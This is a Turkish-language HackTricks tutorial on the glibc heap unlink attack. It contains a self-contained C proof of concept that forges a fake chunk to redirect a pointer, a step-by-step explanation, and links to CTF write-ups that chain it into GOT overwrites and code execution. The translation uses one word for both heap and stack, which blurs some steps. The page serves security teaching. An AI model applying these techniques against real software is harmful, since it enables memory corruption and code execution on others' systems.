Unlink Attack

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bu saldırı keşfedildiğinde çoğunlukla bir WWW (Write What Where) sağlıyordu, ancak bazı kontroller eklendi ve saldırının yeni versiyonu daha ilginç, daha karmaşık ve işe yaramaz hale geldi.

Kod Örneği:

Kod
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10];               // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

  • Saldırı, tcaches kullanıldığında çalışmaz (2.26'dan sonra)

Hedef

Bu saldırı, bir parçanın işaretçisini kendisinden 3 adres önceki bir adrese işaret edecek şekilde değiştirmeye olanak tanır. Eğer bu yeni konum (işaretçinin bulunduğu yerin çevresi) ilginç şeyler içeriyorsa, diğer kontrol edilebilir tahsisatlar / yığın gibi, bunları okumak/yazmak mümkün olabilir ve daha büyük bir zarar vermek için kullanılabilir.

  • Eğer bu işaretçi yığında bulunuyorsa, çünkü artık kendisinden 3 adres önceye işaret ediyor ve kullanıcı bunu okuyup değiştirebiliyorsa, yığından hassas bilgileri sızdırmak veya hatta dönüş adresini (belki) canary'e dokunmadan değiştirmek mümkün olacaktır.
  • CTF örneklerinde, bu işaretçi diğer tahsisatlara işaret eden bir işaretçi dizisinde yer almaktadır, bu nedenle, 3 adres önceye işaret edecek şekilde ayarlandığında ve okunup yazılabildiğinde, diğer işaretçilerin başka adreslere işaret etmesi sağlanabilir.
    Kullanıcı diğer tahsisatları da okuyup/yazabildiğinden, bilgi sızdırabilir veya rastgele konumlarda yeni adresleri yazabilir (örneğin GOT'ta).

Gereksinimler

  • Bazı kontrolün olduğu bir bellek (örneğin yığın) ile bazı özelliklere değerler vererek birkaç parça oluşturmak.
  • Sahte parçanın işaretçilerini ayarlamak için yığın sızıntısı.

Saldırı

  • İki parça vardır (chunk1 ve chunk2)
  • Saldırgan chunk1'in içeriğini ve chunk2'nin başlıklarını kontrol eder.
  • Chunk1'de saldırgan sahte bir parçanın yapısını oluşturur:
  • Koruma önlemlerini aşmak için size alanının doğru olduğundan emin olur, böylece hata: corrupted size vs. prev_size while consolidating önlenir.
  • ve sahte parçanın fd ve bk alanları, chunk1 işaretçisinin yığında saklandığı yere -3 ve -2 ofsetleri ile işaret edecek şekilde ayarlanır, böylece fake_chunk->fd->bk ve fake_chunk->bk->fd gerçek chunk1 adresinin bulunduğu bellek (yığın) konumuna işaret eder:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

  • Chunk2'nin başlıkları, önceki parçanın kullanılmadığını ve boyutun sahte parçanın içerdiği boyut olduğunu gösterecek şekilde değiştirilir.
  • İkinci parça serbest bırakıldığında, bu sahte parça bağlantısı kesilir:
  • fake_chunk->fd->bk = fake_chunk->bk
  • fake_chunk->bk->fd = fake_chunk->fd
  • Daha önce fake_chunk->fd->bk ve fake_chunk->bk->fd aynı yere (chunk1'in saklandığı yığın konumu) işaret edecek şekilde ayarlanmıştı, bu nedenle geçerli bir bağlı listeydi. Her ikisi de aynı konuma işaret ettiğinden, yalnızca sonuncusu (fake_chunk->bk->fd = fake_chunk->fd) etki gösterecektir.
  • Bu, yığındaki chunk1 işaretçisini yığında 3 adres önce saklanan adrese (veya byte'lara) yazacak şekilde değiştirecektir.
  • Bu nedenle, bir saldırgan chunk1'in içeriğini tekrar kontrol edebilirse, yığın içinde yazma yeteneğine sahip olacak ve potansiyel olarak dönüş adresini atlayarak canary'i geçip yerel değişkenlerin değerlerini ve işaretlerini değiştirebilecektir. Hatta yığında saklanan chunk1 adresini, eğer saldırgan tekrar chunk1'in içeriğini kontrol edebilirse, farklı bir konuma değiştirebilir.
  • Bunun mümkün olduğunu unutmayın çünkü adresler yığında saklanmaktadır. Risk ve istismar, sahte parçaya işaret eden adreslerin nerede saklandığına bağlı olabilir.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

Referanslar

  • https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
  • CTF'de bir unlink saldırısı bulmak garip olsa da, bu saldırının kullanıldığı bazı yazılımlar burada:
  • CTF örneği: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
  • Bu örnekte, yığın yerine malloc edilmiş adreslerin bir dizisi vardır. Burada bir parça tahsis edebilmek için unlink saldırısı gerçekleştirilir, böylece malloc edilmiş adresler dizisinin işaretçilerini kontrol edebilmek mümkündür. Ardından, bu adreslerdeki parçaların içeriğini değiştirmeye olanak tanıyan başka bir işlev vardır, bu da adresleri GOT'a işaret etmeye, libc sızıntısı elde etmek için işlev adreslerini değiştirmeye ve RCE'ye olanak tanır.
  • Başka bir CTF örneği: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
  • Önceki örnekte olduğu gibi, tahsisatların adreslerinin bir dizisi vardır. İlk tahsisata işaret eden adresi dizinin başlangıcından birkaç konum önceye işaret edecek şekilde bir unlink saldırısı gerçekleştirmek mümkündür ve bu tahsisi yeni konumda yazmak mümkündür. Böylece, diğer tahsisatların işaretçilerini atoi'nin GOT'una işaret edecek şekilde değiştirmek, libc sızıntısı elde etmek için yazdırmak ve ardından atoi GOT'u bir gadget adresi ile değiştirmek mümkündür.
  • Unlink saldırısına çok benzer bir açığı istismar eden özel malloc ve free işlevleri ile CTF örneği: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
  • FD ve BK işaretçilerini kontrol etmeye olanak tanıyan bir taşma vardır. Ayrıca, yığın exec bitine sahiptir, bu nedenle bir yığın adresini sızdırmak ve GOT'tan bir işlevi bir yığın parçasına işaret etmek için bir shellcode ile çalıştırmak mümkündür.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin